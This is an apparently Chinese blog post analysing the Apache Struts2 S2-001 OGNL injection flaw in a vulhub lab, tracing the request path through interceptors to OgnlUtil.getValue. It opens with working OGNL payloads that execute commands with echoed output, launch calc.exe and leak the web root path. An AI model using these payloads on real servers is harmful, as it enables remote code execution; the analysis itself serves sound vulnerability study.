Java安全之S2-001漏洞分析

Java安全之S2-001漏洞分析

前言

好久沒更新Java相關內容了,最近身體出了些小問題等各種原因導致有些時候無法沉心學習。忙裏偷閒,炒個冷飯。

POC採集

回顯poc

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

調試poc:

%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}

獲取web路徑

%{
#[email protected]@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

漏洞分析

漏洞環境:https://github.com/vulhub/vulhub/tree/master/struts2/s2-001

直接來看到漏洞點

<package name="S2-001" extends="struts-default">
   <action name="login" class="com.demo.action.LoginAction">
      <result name="success">/welcome.jsp</result>
      <result name="error">/index.jsp</result>
   </action>
</package>

這裏這個package繼承了struts-default包,struts-default.xml是Struts 2 框架的基礎配置文件,爲框架提供默認設置,這個文件包含在Struts2-core.jar中,由框架自動加載。

在web.xml中會配置

<filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
    </filter>
        <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

org.apache.struts2.dispatcher.FilterDispatcher#doFilter調用this.dispatcher.serviceAction(request, response, servletContext, mapping);

serviceAction方法

image-20220418231512622

獲取struts.xml的配置信息

image-20220418231809616

使用獲取到的信息傳入config.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy進行創建action代理類

隨後調用proxy.execute();進行執行

public String execute() throws Exception {
    ActionContext previous = ActionContext.getContext();
    ActionContext.setContext(this.invocation.getInvocationContext());

    String var2;
    try {
        var2 = this.invocation.invoke();
    } finally {
        if (this.cleanupContext) {
            ActionContext.setContext(previous);
        }

    }

    return var2;
}

execute方法中調用this.invocation.invoke();,即調用前面獲取到的action代理類的invoke方法。

遍歷this.interceptors,即struts-default.xml 中配置的interceptors。

image-20220418233010716

這裏會遍歷調用interceptors裏面的doIntercept方法。

漏洞在ParametersInterceptor中,ParametersInterceptor攔截器會將接收到的請求數據設置到valueStack裏,後面在jsp中會從valueStack中獲取數據

image-20220418225101157

直接來到ParametersInterceptor#doIntercept方法中。

public String doIntercept(ActionInvocation invocation) throws Exception {
        Object action = invocation.getAction();
        if (!(action instanceof NoParameters)) {
            ActionContext ac = invocation.getInvocationContext();
            Map parameters = ac.getParameters();
            if (LOG.isDebugEnabled()) {
                LOG.debug("Setting params " + this.getParameterLogMap(parameters));
            }

            if (parameters != null) {
                Map contextMap = ac.getContextMap();

                try {
                    OgnlContextState.setCreatingNullObjects(contextMap, true);
                    OgnlContextState.setDenyMethodExecution(contextMap, true);
                    OgnlContextState.setReportingConversionErrors(contextMap, true);
                    ValueStack stack = ac.getValueStack();
                    this.setParameters(action, stack, parameters);

前面獲取一些系列的action、參數和context等。

然後調用this.setParameters

protected void setParameters(Object action, ValueStack stack, Map parameters) {
        ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
        Map params = null;
        if (this.ordered) {
            params = new TreeMap(this.getOrderedComparator());
            params.putAll(parameters);
        } else {
            params = new TreeMap(parameters);
        }

        Iterator iterator = params.entrySet().iterator();

        while(true) {
            Map.Entry entry;
            String name;
            boolean acceptableName;
            do {
                if (!iterator.hasNext()) {
                    return;
                }

                entry = (Map.Entry)iterator.next();
                name = entry.getKey().toString();
                acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
            } while(!acceptableName);

            Object value = entry.getValue();

            try {
                stack.setValue(name, value);

遍歷獲取到參數的Map,調用stack.setValue(name, value);

image-20220418233947792

所有的interceptors遍歷完了過後,執行this.invokeActionOnly();

image-20220419001752600

DefaultActionInvocation#invokeAction()方法會反射調用action中的execute方法

image-20220419002006167

image-20220419002151306

執行回到invoke方法中,接着調用this.proxy.getExecuteResult()這個action是否有執行結果,然後調用this.executeResult();

image-20220419000419339

這裏會對action的execute結果進行處理,在struts2中會配置

	<package name="S2-001" extends="struts-default">
		<action name="login" class="com.demo.action.LoginAction">
			<result name="success">/welcome.jsp</result>
			<result name="error">/index.jsp</result>
		</action>
	</package>

對執行返回success或error進行跳轉到對應的jsp

image-20220419003312339

調用this.result.execute(this);

 public void execute(ActionInvocation invocation) throws Exception {
        this.lastFinalLocation = this.conditionalParse(this.location, invocation);
        this.doExecute(this.lastFinalLocation, invocation);
    }

調用this.doExecute(this.lastFinalLocation, invocation);

image-20220419003529567

後面這裏會調用dispatcher.forward(request, response);進行轉發

org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag中下斷點,該方法會解析jsp中的struts標籤。

<s:form action="login">
	<s:textfield name="username" label="username" />
	<s:textfield name="password" label="password" />
	<s:submit></s:submit>
</s:form>

第一次解析form標籤

image-20220419004251958

第二次解析username標籤

image-20220419004458727

執行完成後走到doEndTag方法

public int doEndTag() throws JspException {
        this.component.end(this.pageContext.getOut(), this.getBody());
        this.component = null;
        return 6;
    }
public boolean end(Writer writer, String body) {
        this.evaluateParams();

        try {
            super.end(writer, body, false);
            this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
        } catch (Exception var7) {
            LOG.error("error when rendering", var7);
        } finally {
            this.popComponentStack();
        }

        return false;
    }

調用 this.evaluateParams();

public void evaluateParams() {
    this.addParameter("templateDir", this.getTemplateDir());
    this.addParameter("theme", this.getTheme());
    String name = null;
    if (this.key != null) {
        if (this.name == null) {
            this.name = this.key;
        }

        if (this.label == null) {
            this.label = "%{getText('" + this.key + "')}";
        }
    }

    if (this.name != null) {
        name = this.findString(this.name);
        this.addParameter("name", name);
    }

image-20220419005810064

image-20220419005635557

org.apache.struts2.components#UIBean最下面有行代碼

if (this.altSyntax()) {
    expr = "%{" + name + "}";
}

如果this.altSyntax(),則拼接%{},這裏this.altSyntax()是檢查ongl表達式是否開啓,開啓的話拼接%{}直接使用表達式

image-20220419010408037

在第一遍執行的時候會expr爲%username%會獲取到我們username中對應的值。這裏即表達式內容。

image-20220420004528033

當第二次執行到OgnlUtil.getValue(expr, this.context, this.root, asType);進行代碼執行。

image-20220419011623060

image-20220418234200573

OgnlUtil.getValue方法的底層代碼是用的Ognl.getValue

調用棧:

setParameters:193, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
doIntercept:159, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:86, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:105, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:83, CheckboxInterceptor (org.apache.struts2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:207, FileUploadInterceptor (org.apache.struts2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:74, ModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:127, ScopedModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:107, ProfilingActivationInterceptor (org.apache.struts2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:206, DebuggingInterceptor (org.apache.struts2.interceptor.debugging)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:115, ChainingInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:143, I18nInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:121, PrepareInterceptor (com.opensymphony.xwork2.interceptor)
intercept:86, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:170, ServletConfigInterceptor (org.apache.struts2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:123, AliasInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:176, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
execute:50, StrutsActionProxy (org.apache.struts2.impl)
serviceAction:504, Dispatcher (org.apache.struts2.dispatcher)
doFilter:419, FilterDispatcher (org.apache.struts2.dispatcher)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:882, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1647, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

結尾

注意多喝熱水,以防腎結石。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章